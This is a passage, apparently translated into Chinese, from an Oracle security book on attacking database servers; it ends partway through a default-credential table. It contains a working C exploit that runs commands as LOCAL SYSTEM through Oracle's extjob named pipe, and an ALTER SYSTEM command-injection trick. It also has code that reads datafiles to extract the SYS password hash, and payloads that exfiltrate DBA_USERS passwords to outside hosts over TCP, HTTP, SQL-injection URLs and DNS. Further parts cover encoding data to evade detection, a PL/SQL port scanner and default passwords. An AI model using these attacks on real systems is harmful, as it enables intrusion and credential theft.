repeat_interval=> 'FREQ=SECONDLY;INTERVAL=10',
enabled=> TRUE,
comments=> 'Every 10 seconds');
END;
/

如果要通过 DBMS_SCHEDULER 运行 OS 命令,则必须运行 OracleJobSchedulerSID 服务。 如果没有,则调度程序将生成错误。

通过Job Scheduler运行系统命令

作业调度程序作为外部进程实现 - extjob。 在 Windows 上,它以 LOCAL SYSTEM 操作系统帐户的权限运行。 它侦听名为“orcljsex”的命名管道,其中 SID 是数据库系统标识符。 当 Job Scheduler 在这个命名管道上接收到一个命令时,它只是尝试执行它。 因此,任何可以连接到命名管道的人,无论是在本地还是使用 SMB 跨网络,都可以作为 LOCAL SYSTEM 运行命令并完全破坏服务器:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
/* Oracle External Job Remote Command Exploit
Oracle's extjob.exe listens on a named pipe "orcljsex<SID> and executes
commands
sent through it.
*/

#include <stdio.h>

#include <windows.h>

int main(int argc, char *argv[])
{
char buffer[540]="";
char NamedPipe[260]="\\\\";
HANDLE rcmd=NULL;
char *ptr = NULL;
int len =0;
DWORD Bytes = 0;

if(argc !=4)
{
printf("\n\tOracle External Job Remote Command Exploit.\n\n");
printf("\tUsage: oraextjob target SID \" command\"\n");
printf("\n\tDavid Litchfield\n\t(david@ngssoftware.com)\n\t1st October
2006\n");
return 0;
}

strncat(NamedPipe,argv[1],100);
strcat(NamedPipe,"\\pipe\\orcljsex");
len = strlen(NamedPipe);
if(len>256)
return printf("Too long...\n");
len = 256 - len;
// tack on the SID
strncat(NamedPipe,argv[2],len);


// Open the named pipe
rcmd =
CreateFile(NamedPipe,GENERIC_WRITE|GENERIC_READ,0,NULL,OPEN_EXISTING,0,N
ULL);
if(rcmd == INVALID_HANDLE_VALUE)
return printf("Failed to open pipe %s. Error
%d.\n",NamedPipe,GetLastError());

// Send command
len = WriteFile(rcmd,argv[3],strlen(argv[3]),&Bytes,NULL);

if(!len)
return printf("Failed to write to %s. Error
%d.\n",NamedPipe,GetLastError());

// Read results
while(len)
{
len = ReadFile(rcmd,buffer,530,&Bytes,NULL);
printf("%s",buffer);

ZeroMemory(buffer,540);
}
CloseHandle(rcmd);
return 0;
}

通过ALTER SYSTEM运行系统命令

Oracle 从未打算将其作为运行命令的正确方法,但它运行良好。 在 Oracle 9i 中,可以操纵 Oracle 编译本机 PL/SQL 程序的方式。 这是通过提供 make 程序的名称来完成的。 显然,这可以被滥用来运行操作系统命令:

1
2
3
4
5
6
7
8
9
10
11
ALTER SYSTEM SET plsql_native_make_utility = 'cmd.exe /C dir >
c:\ooops.txt &';
ALTER SYSTEM SET plsql_native_make_file_name = ' foo';
ALTER SYSTEM SET plsql_native_library_dir='bar';

CREATE OR REPLACE PROCEDURE ohoh AS
BEGIN
NULL;
END;
/
show errors

当 Oracle 编译 ohoh 过程时,Oracle 执行以下操作:

1
cmd.exe /C dir > c:\ooops.txt & -f foo bar/RUN_CMD__SYSTEM__0.DLL

Oracle 10g 弃用了 plsql_native_make_utility 参数。

访问文件系统

一旦服务器遭到入侵,攻击者可能想要探索文件系统——事实上,大量 Oracle 文件包含用户 ID 和密码,因此攻击者可能能够提升权限,如果他们还没有这样做的话。 可以使用 PL/SQL 或 Java 来访问文件系统。 由于对文件系统的访问是通过用于运行服务器的帐户的权限实现的,因此攻击者可以获得对数据库数据文件的直接原始访问。 因此,可以完全绕过所有数据库强制访问控制。 您已经在第 8 章“击败虚拟专用数据库”中看到了这一点。

使用UTL_FILE 包访问文件系统

UTL_FILE 包使 Oracle 用户能够读取和写入文件系统。 如前所述,对文件系统上的文件的访问是通过 Oracle 用户的权限实现的 - 因此该用户可以读取或写入的任何内容都可以被其他任何人读取或写入。 以下 PL/SQL 代码可用于从文件系统读取文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
CREATE OR REPLACE PROCEDURE READ_FILE(DIRNAME VARCHAR2, FNAME VARCHAR2)
AS
invalid_path EXCEPTION;
access_denied EXCEPTION;
PRAGMA EXCEPTION_INIT(invalid_path, -29280);
PRAGMA EXCEPTION_INIT(access_denied, -29289);
FD UTL_FILE.FILE_TYPE;
BUFFER VARCHAR2(260);
BEGIN

EXECUTE IMMEDIATE 'CREATE OR REPLACE DIRECTORY RW_FILE AS ''' ||
DIRNAME || '''';
FD := UTL_FILE.FOPEN('RW_FILE',FNAME,'r');
DBMS_OUTPUT.ENABLE(1000000);
LOOP
UTL_FILE.GET_LINE(FD,BUFFER,254);
DBMS_OUTPUT.PUT_LINE(BUFFER);
END LOOP;
EXECUTE IMMEDIATE 'DROP DIRECTORY RW_FILE';

EXCEPTION WHEN invalid_path THEN
DBMS_OUTPUT.PUT_LINE('File location or path is
invalid.');
IF (UTL_FILE.IS_OPEN(FD) = TRUE) THEN
UTL_FILE.FCLOSE(FD);
END IF;
EXECUTE IMMEDIATE 'DROP DIRECTORY RW_FILE';
WHEN access_denied THEN
DBMS_OUTPUT.PUT_LINE('Access is denied.');
IF (UTL_FILE.IS_OPEN(FD) = TRUE) THEN
UTL_FILE.FCLOSE(FD);
END IF;
EXECUTE IMMEDIATE 'DROP DIRECTORY RW_FILE';
WHEN NO_DATA_FOUND THEN
DBMS_OUTPUT.PUT_LINE('End of file.');
IF (UTL_FILE.IS_OPEN(FD) = TRUE) THEN
UTL_FILE.FCLOSE(FD);
END IF;
EXECUTE IMMEDIATE 'DROP DIRECTORY RW_FILE';
WHEN OTHERS THEN
IF (UTL_FILE.IS_OPEN(FD) = TRUE) THEN
UTL_FILE.FCLOSE(FD);
END IF;
DBMS_OUTPUT.PUT_LINE('There was an error.');
EXECUTE IMMEDIATE 'DROP DIRECTORY RW_FILE';
END;
/
EXEC READ_FILE('C:\','boot.ini');

使用Java访问文件系统

使用 UTL_FILE 包访问文件系统要求用户有权访问 DIRECTORY 对象或创建 DIRECTORY 对象的权限。 使用 Java 不需要存在 DIRECTORY - 而是需要读写 java.io.FilePermission。 这可以通过调用 DBMS_JAVA.GRANT_PERMISSION 来授予:

1
2
3
4
5
exec dbms_java.grant_permission('SCOTT',
'SYS:java.io.FilePermission','<<ALL FILES>>','read');

exec dbms_java.grant_permission('SCOTT',
'SYS:java.io.FilePermission','<<ALL FILES>>','write');

以下代码使用户能够以 Oracle 用户的权限读取文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
set serveroutput on
CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "JAVAREADFILE" AS
import java.lang.*;
import java.io.*;

public class JAVAREADFILE
{
public static void readfile(String filename) throws IOException
{
FileReader f = new FileReader(filename);
BufferedReader fr = new BufferedReader(f);
String text = fr.readLine();;
while(text != null)
{
System.out.println(text);
text = fr.readLine();
}
fr.close();

}
}
/

CREATE OR REPLACE PROCEDURE JAVAREADFILEPROC (p_filename IN VARCHAR2)
AS LANGUAGE JAVA
NAME 'JAVAREADFILE.readfile (java.lang.String)';
/
exec dbms_java.set_output(2000);
exec JAVAREADFILEPROC('C:\boot.ini')

显然,前面的代码比使用 UTL_FILE 和使用那些讨厌的 DIRECTORY 对象调度要简洁得多。

访问二进制文件

使用 Oracle 的 Java 访问基于二进制的文件有点奇怪——如果文件太大,它会使服务器的 CPU 以 100% 的速度旋转。 因此,在访问文件时,您需要以小块的形式进行。 以下代码将文件名作为其第一个参数,并将文件偏移量作为其第二个参数。 然后它从该偏移量中读取 512 个字节。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
SET ESCAPE ON
SET ESCAPE "\"
SET SERVEROUTPUT ON

CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "JAVAREADBINFILE" AS
import java.lang.*;
import java.io.*;

public class JAVAREADBINFILE
{
public static void readbinfile(String f, int start) throws
IOException
{
FileInputStream fis;
DataInputStream dis;
try
{
int i;
int ih,il;
int cnt = 1, h=0,l=0;
String hex[] = {"0", "1", "2","3", "4", "5", "6", "7",
"8","9", "A", "B", "C", "D", "E"," F"};

RandomAccessFile raf = new RandomAccessFile (f, "r");
raf.seek (start);
for(i=0; i<=512; i++)
{

ih = il = raf.readByte() \& 0xFF;
h = ih >> 4;
l = il \& 0x0F;



System.out.print("\\\\x" + hex[h] + hex[l]);
if(cnt \% 16 == 0)

System.out.println();
cnt ++;

}


}
catch (EOFException eof)
{
System.out.println();
System.out.println("EOF reached ");
}
catch (IOException ioe)
{
System.out.println("IO error: "+ ioe);
}
}
}
/
show errors
/
CREATE OR REPLACE PROCEDURE JAVAREADBINFILEPROC (p_filename IN
VARCHAR2, p_start in number)
AS LANGUAGE JAVA
NAME 'JAVAREADBINFILE.readbinfile (java.lang.String, int)';
/
show errors
/

通过使用以下代码直接访问 Oracle 数据文件,您可以完全绕过数据库服务器强制执行的访问控制。 例如,以下输出显示访问 SYSTEM01.DBF 文件中存储 USER$ 表的部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
set serveroutput on
exec dbms_java.set_output(2000);
SQL> exec
JAVAREADBINFILEPROC('C:\\oracle\\oradata\\orcl\\system01.DBF',448767)
\x53\x59\x53\x02\xC1\x02\x10\x30\x44\x34\x37\x42\x35\x35\x30\x43
\x35\x46\x37\x30\x44\x45\x44\x01\x80\x02\xC1\x04\x07\x78\x69\x0A
\x1B\x04\x3C\x23\x07\x78\x6A\x03\x11\x0E\x24\x12\xFF\xFF\x01\x80
\xFF\x02\xC1\x02\xFF\xFF\x01\x80\x01\x80\x09\x53\x59\x53\x5F\x47
\x52\x4F\x55\x50\x6C\x00\x11\x05\x06\x53\x59\x53\x54\x45\x4D\x02
\xC1\x02\x10\x44\x34\x44\x46\x37\x39\x33\x31\x41\x42\x31\x33\x30
\x45\x33\x37\x01\x80\x01\x80\x07\x78\x69\x0A\x1B\x04\x3C\x23\x07
\x78\x69\x0A\x1B\x04\x3C\x23\xFF\xFF\x01\x80\xFF\x02\xC1\x02\xFF
\xFF\x01\x80\x01\x80\x09\x53\x59\x53\x5F\x47\x52\x4F\x55\x50\x6C
\x00\x11\x0E\x0C\x41\x51\x5F\x55\x53\x45\x52\x5F\x52\x4F\x4C\x45
\x01\x80\xFF\x01\x80\x01\x80\x07\x78\x69\x0A\x1B\x05\x03\x3C\xFF

\xFF\xFF\x01\x80\xFF\x02\xC1\x02\xFF\xFF\x01\x80\x01\x80\x16\x44
\x45\x46\x41\x55\x4C\x54\x5F\x43\x4F\x4E\x53\x55\x4D\x45\x52\x5F
\x47\x52\x4F\x55\x50\xAC\x00\x01\x01\x00\x01\x00\x00\x40\x00\x36
\x00\x0F\x00\x40\x00\x36\x00\x0F\x02\xC1\x10\x6C\x00\x11\x0D\x15
\x41\x51\x5F\x41\x44\x4D\x49\x4E\x49\x53\x54\x52\x41\x54\x4F\x52
\x5F\x52\x4F\x4C\x45\x01\x80\xFF\x01\x80\x01\x80\x07\x78\x69\x0A
\x1B\x05\x03\x3C\xFF\xFF\xFF\x01\x80\xFF\x02\xC1\x02\xFF\xFF\x01
\x80\x01\x80\x16\x44\x45\x46\x41\x55\x4C\x54\x5F\x43\x4F\x4E\x53
\x55\x4D\x45\x52\x5F\x47\x52\x4F\x55\x50\xAC\x00\x01\x01\x00\x01
\x00\x00\x40\x00\x36\x00\x0E\x00\x40\x00\x36\x00\x0E\x02\xC1\x0F
\x6C\x00\x07\x05\x01\x80\x01\x80\x02\xC1\x61\x01\x80\x01\x80\x01
\x80\x01\x80\x6C\x00\x11\x0C\x16\x52\x45\x43\x4F\x56\x45\x52\x59
\x5F\x43\x41\x54\x41\x4C\x4F\x47\x5F\x4F\x57\x4E\x45\x52\x01\x80
\xFF\x01\x80\x01\x80\x07\x78\x69\x0A\x1B\x05\x02\x2C\xFF\xFF\xFF
\x01\x80\xFF\x02\xC1\x02\xFF\xFF\x01\x80\x01\x80\x16\x44\x45\x46
\x41\x55\x4C\x54\x5F\x43\x4F\x4E\x53\x55\x4D\x45\x52\x5F\x47\x52
\x4F\x55\x50\xAC\x00\x01\x01\x00\x01\x00\x00\x40\x00\x36\x00\x0D

如果您查看输出的第一行,前 3 个字节是 \x53\x59\x53 - 这是“SYS”。 跳过接下来的 4 个字节并取接下来的 16 个字节,您将得到以下内容:

1
"\x30\x44\x34\x37\x42\x35\x35\x30\x43\x35\x46\x37\x30\x44\x45\x44"

这转换为“0D47B550C5F70DED”,它是 SYS 用户的密码哈希。 确认这一点,您可以运行以下选择:

1
2
3
4
5
SQL> select password from dba_users where username = 'SYS';

PASSWORD
------------------------------
0D47B550C5F70DED

可以将代码包装在循环中以提取整个数据文件。 有关这方面的更多信息,请参阅第 12 章中的“数据泄露”部分。

使用操作系统环境变量

Oracle 10g 在 DBMS_SYSTEM 包中引入了一个名为 GET_ENV 的过程。 此过程采用环境变量的名称并返回其值。 它不会返回 PATH 环境变量的值,但是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
CREATE OR REPLACE PROCEDURE DUMP_ENV AS
BUFFER VARCHAR2(260);

BEGIN
-- SYS.DBMS_SYSTEM.GET_ENV WON'T GIVE BACK THE
-- PATH ENVIRONMENT VARIABLE

SYS.DBMS_SYSTEM.GET_ENV('ORACLE_HOME',BUFFER);
DBMS_OUTPUT.PUT_LINE('ORACLE_HOME: ' || BUFFER);
SYS.DBMS_SYSTEM.GET_ENV('ORACLE_SID',BUFFER);
DBMS_OUTPUT.PUT_LINE('ORACLE_SID: ' || BUFFER);
SYS.DBMS_SYSTEM.GET_ENV('COMPUTERNAME',BUFFER);
DBMS_OUTPUT.PUT_LINE('COMPUTERNAME: ' || BUFFER);
SYS.DBMS_SYSTEM.GET_ENV('OS',BUFFER);
DBMS_OUTPUT.PUT_LINE('OS: ' || BUFFER);
SYS.DBMS_SYSTEM.GET_ENV('TEMP',BUFFER);
DBMS_OUTPUT.PUT_LINE('TEMP: ' || BUFFER);
SYS.DBMS_SYSTEM.GET_ENV('WINDIR',BUFFER);
DBMS_OUTPUT.PUT_LINE('WINDIR: ' || BUFFER);
SYS.DBMS_SYSTEM.GET_ENV('SYSTEMROOT',BUFFER);
DBMS_OUTPUT.PUT_LINE('SYSTEMROOT: ' || BUFFER);
SYS.DBMS_SYSTEM.GET_ENV('PROGRAMFILES',BUFFER);
DBMS_OUTPUT.PUT_LINE('PROGRAMFILES: ' || BUFFER);
SYS.DBMS_SYSTEM.GET_ENV('COMSPEC',BUFFER);
DBMS_OUTPUT.PUT_LINE('COMSPEC: ' || BUFFER);
SYS.DBMS_SYSTEM.GET_ENV('PROCESSOR_ARCHITECTURE',BUFFER);
DBMS_OUTPUT.PUT_LINE('PROCESSOR_ARCHITECTURE: ' || BUFFER);
SYS.DBMS_SYSTEM.GET_ENV('PROCESSOR_IDENTIFIER',BUFFER);
DBMS_OUTPUT.PUT_LINE('PROCESSOR_IDENTIFIER: ' || BUFFER);

END DUMP_ENV;
/
EXEC DUMP_ENV;

此过程产生以下输出:

1
2
3
4
5
6
7
8
9
10
11
ORACLE_HOME: C:\oracle\product\10.1.0\Db_1
ORACLE_SID: orcl10g
COMPUTERNAME: GLADIUS
OS: Windows_NT
TEMP: C:\WINDOWS\TEMP
WINDIR: C:\WINDOWS
SYSTEMROOT: C:\WINDOWS
PROGRAMFILES: C:\Program Files
COMSPEC: C:\WINDOWS\system32\cmd.exe
PROCESSOR_ARCHITECTURE: x86
PROCESSOR_IDENTIFIER: x86 Family 6 Model 9 Stepping 5, GenuineIntel

访问网络

本章研究访问网络的目的是为了数据泄露以及从受感染的 Oracle 服务器攻击其他系统。

数据泄漏

数据泄露是在不被注意的情况下获取数据的过程。 这可能就像使用物理备份磁带一样简单,也可能像使用网络上的隐蔽通道一样复杂。 Joanna Rutkowska 开发了一种更复杂的隐蔽通道方法。 它被称为NUSHU,以中国妇女使用的一种古老的密语命名。 NUSHU,最近的一个,使用 TCP 初始序列号来隐藏加密数据。 虽然可以检测到 NUSHU(使用英国剑桥大学的 Steven J. Murdoch 和 Stephen Lewis 以及俄罗斯塔甘罗格州立大学的 Eugene Tumoian 和 Maxim Anikeev 开发的方法),但必须指出的是,这些方法是在 NUSHU 被开发之后才发表。

使用 UTL_TCP

UTL_TCP PL/SQL 包使 Oracle 服务器能够创建到指定 TCP 端口上的远程主机的出站连接。 因此,它是一种从数据库中提取数据的有用方法。 首先连接到给定主机上的给定 TCP 端口,然后一旦连接就可以传输数据。 不用说,如果 Oracle 服务器受到带有出口过滤功能的防火墙的保护,那么攻击者就需要确定哪些端口被允许出去。 这可以使用前面介绍的 TCP 端口扫描器来实现。 通常,远程管理端口(例如 22 (SSH) 和 3389(终端服务))以及网络基础设施端口(例如 TCP 53 (DNS))通常是“开放的”。 发现可访问端口 25 (SMTP)、80 (HTTP) 和 443 (HTTPS) 的情况也并不少见。 以下代码演示了如何将 UTL_TCP 用作从数据库服务器提取数据的带外方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
DECLARE
TYPE C_TYPE IS REF CURSOR;
CV C_TYPE;
PASSWORD VARCHAR2(30);
USERNAME VARCHAR2(30);
C UTL_TCP.CONNECTION;
L PLS_INTEGER;
BEGIN
C:= UTL_TCP.OPEN_CONNECTION('192.168.0.10',111,'US7ASCII');
OPEN CV FOR 'SELECT USERNAME,PASSWORD FROM SYS.DBA_USERS';
LOOP
FETCH CV INTO USERNAME,PASSWORD;
L:=UTL_TCP.WRITE_LINE(C, USERNAME||':'||PASSWORD);
EXIT WHEN CV%NOTFOUND;
END LOOP;
CLOSE CV;
UTL_TCP.CLOSE_CONNECTION(C);
END;
/

此代码连接到 192.168.0.10 上的 TCP 端口 111 (PortMapper)。 然后它从 DBA_USERS 中选择用户名和密码,将它们连接起来,然后通过网络发送它们。 然后连接关闭。 暂时忽略 DBMS_EXPORT_EXTENSION(参见第 5 章,“Oracle 和 PL/SQL”),像这样执行大块匿名 PL/SQL 大多只有在直接连接到数据库服务器时才可用; 它对 SQL 注入情况没有用。 然而,UTL_HTTP 可以。 我们接下来看看这个。

使用 UTL_HTTP

UTL_HTTP 包可用于从 Oracle 数据库服务器向 Web 服务器发出带外请求。 请求函数接受一个 URL:

1
select utl_http.request('http://192.168.0.100:5500/'||(SELECT PASSWORD FROM DBA_USERS WHERE USERNAME='SYS')) from dual;

您可以在此处看到感兴趣的数据是 SYS 用户的密码。 选中后,它会发送到侦听 TCP 端口 5500 的远程 Web 服务器。 UTL_HTTP.REQUEST 在 SQL 注入场景中特别有用。 例如,假设一个应用程序正在连接 Oracle 后端,并且它容易受到搜索页面 FOO 参数中 SQL 注入的影响。 然后可以注入 UTL_HTTP.REQUEST 来窃取数据:

1
http://example.com/search?FOO=BAR'||utl_http.request('http://192.168.0.100:5500/'||(SELECT PASSWORD FROM DBA_USERS WHERE USERNAME='SYS'))||'BAR

其他可以非常有效地用于网络数据泄露的包是 UTL_MAIL、UTL_SMTP 和 UTL_INADDR。 特别令人感兴趣的是 UTL_INADDR,它可用于窃取伪装为 DNS 查询的数据。

使用 DNS 查询和 UTL_INADDR

UTL_INADDR 包用于查找主机名和 IP 地址,并可用作另一种带外方法。如果服务器已配置了名称服务器(它们几乎总是如此!),则可以使用此包窃取数据。由于域名系统的工作方式,当名称服务器查询到它不知道的主机的 IP 地址时,它会将请求向上转发到负责相关域的名称服务器。例如,如果在连接到我的 ISP 时,我向我的 ISP 的名称服务器查询主机 xyzpqr.ngssoftware.com,那么如果它不在缓存中,它就会将请求转发到 NGS DNS服务器进行解析。 NGS DNS服务器将回复主机的 IP 地址——当然,如果它存在的话。如果您拥有DNS服务器,因此可以访问日志或能够捕获离线流量,那么您可以通过 UDP 端口 53 从数据库服务器发送数据 - 当然,假设防火墙设置允许数据库服务器名称查找。

执行查询

1
SELECT UTL_INADDR.GET_HOST_ADDRESS((SELECT PASSWORD FROM DBA_USERS WHERE USERNAME='SYS')||'.ngssoftware.com') FROM DUAL;

导致服务器查询 0D47B550C5F70DED.ngssoftware.com:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
IP Header
Length and version: 0x45
Type of service: 0x00
Total length: 78
Identifier: 18150
Flags: 0x0000
TTL: 128
Protocol: 17 (UDP)
Checksum: 0x6a17
Source IP: 192.168.0.120
Dest IP: 194.72.6.57
UDP Header
Source port: 1309
Dest port: 53
Length: 58
Checksum: 0x2cce
DNS Packet
Identification: 49
Flags: 0x0100
DNS Query
Standard Query
DNS Message was NOT truncated
RD (Recursion Desired)
Server does not support recursive queries
No. of Questions: 1
No. of Answer Resource Records: 0
No. of Name Server Resource Records: 0
No. Additional Resource Records: 0
Query Name : 0D47B550C5F70DED.ngssoftware.com
Query Type : A (Host Address)
Query Class : IN (Internet Class)

该查询最终到达 NGS DNS服务器,因此可以被捕获。 使用 UTL_INADDR 时,主机名最长可达 254 个字节。 其中,许多字节将用于域 - 例如,ngssoftware.com。 此外,主机名的每个部分都限制为 64 个字符,其中最后一个必须是一个点。

同样,因为 UTL_INADDR 是一个函数,所以它在 SQL 注入场景中很有用。

在泄露之前加密数据

一些数据库入侵检测产品检查离开服务器的数据以确定它是否与给定的模式匹配 - 例如,个人身份信息 (PII),如信用卡号或社会保险号。 为了避免触发警报,攻击者可能会在窃取数据之前混淆甚至加密数据。 任何嗅探网络线路的人只会看到看起来无辜的废话或随机字符串。 毋庸置疑,对某些人来说,这可能被视为妥协的证据,因此攻击者需要保持平衡。 以信用卡为例,寻找离开数据库服务器的此类数据的设备通常会被两个或多个卡号的简单串联所欺骗。 数字的每个字符都可以与一个常量相加 - 例如,0x20 - 使用字符 P 到 Y 使数字字符串成为字母字符串。也可以使用 DBMS_OBUSCATION_TOOLKIT、DBMS_CRYPTO 或 UTL_ENCODE 等包。 例如,

1
select utl_encode.base64_encode((select password from dba_users where username = 'SYS')) from dual;

结果是“30367274702B3268744B6F3D”的base64编码字符串。

另一种替代方法是使用 UTL_COMPRESS 的 LZ_COMPRESS 函数,该函数使用 Lempel-Ziv 压缩算法。

1
select utl_compress.lz_compress((select password from dba_users where username = 'SYS'),6) from dual;

生成字符串“1F8B080000000000000BBBBCEAEDF2B70BB7 AC020094E6B32C08000000”。

这些混淆方法可用于带内和带外方法。

攻击网络上的其他系统

您刚刚看到 UTL_TCP 可用于在任意 TCP 端口上创建与网络上其他主机的连接。 可以编写脚本将 Oracle 数据库服务器变成 TCP 端口扫描器(可能是有史以来最昂贵的!):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
CREATE OR REPLACE PACKAGE TCP_SCAN IS
PROCEDURE SCAN(HOST VARCHAR2, START_PORT NUMBER, END_PORT NUMBER,
VERBOSE NUMBER DEFAULT 0);
PROCEDURE CHECK_PORT(HOST VARCHAR2, TCP_PORT NUMBER, VERBOSE NUMBER
DEFAULT 0);
END TCP_SCAN;
/
SHOW ERRORS

CREATE OR REPLACE PACKAGE BODY TCP_SCAN IS
PROCEDURE SCAN(HOST VARCHAR2, START_PORT NUMBER, END_PORT NUMBER,
VERBOSE NUMBER DEFAULT 0) AS
I NUMBER := START_PORT;
BEGIN
FOR I IN START_PORT..END_PORT LOOP
CHECK_PORT(HOST,I,VERBOSE);
END LOOP;

EXCEPTION WHEN OTHERS THEN
DBMS_OUTPUT.PUT_LINE('An error occurred.');
END SCAN;


PROCEDURE CHECK_PORT(HOST VARCHAR2, TCP_PORT NUMBER, VERBOSE NUMBER
DEFAULT 0) AS
CN SYS.UTL_TCP.CONNECTION;
NETWORK_ERROR EXCEPTION;
PRAGMA EXCEPTION_INIT(NETWORK_ERROR,-29260);
BEGIN
DBMS_OUTPUT.ENABLE(1000000);
CN := UTL_TCP.OPEN_CONNECTION(HOST, TCP_PORT);
DBMS_OUTPUT.PUT_LINE('TCP Port ' || TCP_PORT || ' on ' || HOST ||
' is open.');
UTL_TCP.CLOSE_CONNECTION(CN);
EXCEPTION WHEN NETWORK_ERROR THEN
IF VERBOSE !=0 THEN
DBMS_OUTPUT.PUT_LINE('TCP Port ' || TCP_PORT || ' on ' ||
HOST || ' is not open.');
END IF;
WHEN OTHERS THEN
DBMS_OUTPUT.PUT_LINE('There was an error.');
END CHECK_PORT;

END TCP_SCAN;
/
SHOW ERRORS
/
EXEC TCP_SCAN.SCAN('192.168.0.10',1,200,1);

UTL_TCP 还可以用作 shellcode 的传递机制,利用其他网络服务器中的缓冲区溢出漏洞——例如,Windows 系统上的 IRemoteActivation 溢出或 Solaris in.lpd 溢出。

Java和网络

当然,您可以使用 Java 使用套接字或其他预先打包的网络类(如 URL)来连接网络,但要这样做,用户需要连接并解析 java.net.SocketPermission:

1
exec dbms_java.grant_permission('SCOTT', 'SYS:java.net.SocketPermission','*', 'connect, resolve');

一旦你有了它,你就可以连接到任何主机——这在前面的语句中用星号表示。 以下代码使用 URL 类使您能够连接到 Web 服务器:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "JAVAURL" AS
import java.lang.*;
import java.io.*;
import java.net.*;

public class JAVAURL
{
public static void getUrl (String purl) throws IOException
{
try
{
URL url = new URL(purl);
InputStream is = url.openStream();
BufferedInputStream bis = new BufferedInputStream(is);
int page;

while(true)
{
page = bis.read();
if(page == -1)
break;
System.out.print((char)page);
}
}
catch (MalformedURLException mue)
{
System.err.println ("Invalid URL");
}
catch (IOException io)
{

System.err.println ("Read Error -" + io);
}
}
};
/
show errors
CREATE OR REPLACE PROCEDURE JAVAURLPROC (purl IN VARCHAR2)
AS LANGUAGE JAVA
NAME 'JAVAURL.getUrl (java.lang.String)';
/
set serveroutput on
exec dbms_java.set_output(2000);
exec javaurlproc('http://www.databasesecurity.com/');

数据库链接

当涉及到网络上的其他 Oracle 数据库服务器时,可以使用数据库链接。 数据库链接是一种特殊的数据库对象,它将一个 Oracle 服务器连接到另一个。 它是使用 CREATE DATABASE LINK 语句创建的。 链接可以共享,即公共或私有。 以下将创建一个私人链接:

1
2
3
4
5
SQL> create database link remote_db connect to scott identified by tiger
using '(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)
(HOST=192.168.0.120)(PORT=1521))(CONNECT_DATA=

(SERVICE_NAME=orcl.ngssoftware.com)))';

已创建数据库链接。 创建后,可以使用 @ 符号查询链接:

1
SQL>SELECT USERNAME FROM ALL_USERS@REMOTE_DB

如果用户名和密码正确,第一个服务器将连接到第二个服务器并查询 ALL_USERS 表。

附录A-默认用户名和密码

Oracle 以安装大量带有默认密码的默认用户帐户而闻名。 尽管 Oracle 10g 的情况有所改善,但仍有许多数据库服务器使用默认帐户。 下表列出了默认用户名和密码。

USERNAME PASSWORD
AASH AASH
ABA1 ABA1
ABM ABM
ADAMS WOOD
ADS ADS
ADSEUL_US WELCOME
AHL AHL
AHM AHM
AK AK
AL AL
ALA1 ALA1
ALLUSERS ALLUSERS
ALR ALR
AMA1 AMA1
AMA2 AMA2
AMA3 AMA3
AMA4 AMA4
AMF AMF
AMS AMS
AMS1 AMS1
AMS2 AMS2
AMS3 AMS3
AMS4 AMS4
AMSYS AMSYS
AMV AMV
AMW AMW
ANNE ANNE
AOLDEMO AOLDEMO
AP AP
APA1 APA1
APA2 APA2
APA3 APA3
APA4 APA4
APPLEAD APPLEAD
APPLSYS FND
APPLSYS APPS
APPLSYSPUB PUB
APPS APPS
APS1 APS1
APS2 APS2
APS3 APS3
APS4 APS4
AQDEMO AQDEMO
AQJAVA AQJAVA
AQUSER AQUSER
AR AR
ARA1 ARA1
ARA2 ARA2
ARA3 ARA3
ARA4 ARA4
ARS1 ARS1
ARS2 ARS2
ARS3 ARS3
ARS4 ARS4
ART ART
ASF ASF
ASG ASG
ASL ASL
ASN ASN
ASO ASO
ASP ASP
AST AST
AUC_GUEST AUC_GUEST
AURORA$ORB$UNAUTHENTICATED INVALID
AUTHORIA AUTHORIA
AX AX
AZ AZ
B2B B2B
BAM BAM
BCA1 BCA1
BCA2 BCA2
BEN BEN
BIC BIC
BIL BIL
BIM BIM
BIS BIS
BIV BIV
BIX BIX
BLAKE PAPER
BMEADOWS BMEADOWS
BNE BNE
BOM BOM
BP01 BP01
BP02 BP02
BP03 BP03
BP04 BP04
BP05 BP05
BP06 BP06
BSC BSC
BUYACCT BUYACCT
BUYAPPR1 BUYAPPR1
BUYAPPR2 BUYAPPR2
BUYAPPR3 BUYAPPR3
BUYER BUYER
BUYMTCH BUYMTCH
CAMRON CAMRON
CANDICE CANDICE
CARL CARL
CARLY CARLY
CARMEN CARMEN
CARRIECONYERS CARRIECONYERS
CATADMIN CATADMIN
CE CE
CEASAR CEASAR
CENTRA CENTRA
CFD CFD
CHANDRA CHANDRA
CHARLEY CHARLEY
CHRISBAKER CHRISBAKER
CHRISTIE CHRISTIE
CINDY CINDY
CLARK CLARK
CLARK CLOTH
CLAUDE CLAUDE
CLINT CLINT
CLN CLN
CN CN
CNCADMIN CNCADMIN
CONNIE CONNIE
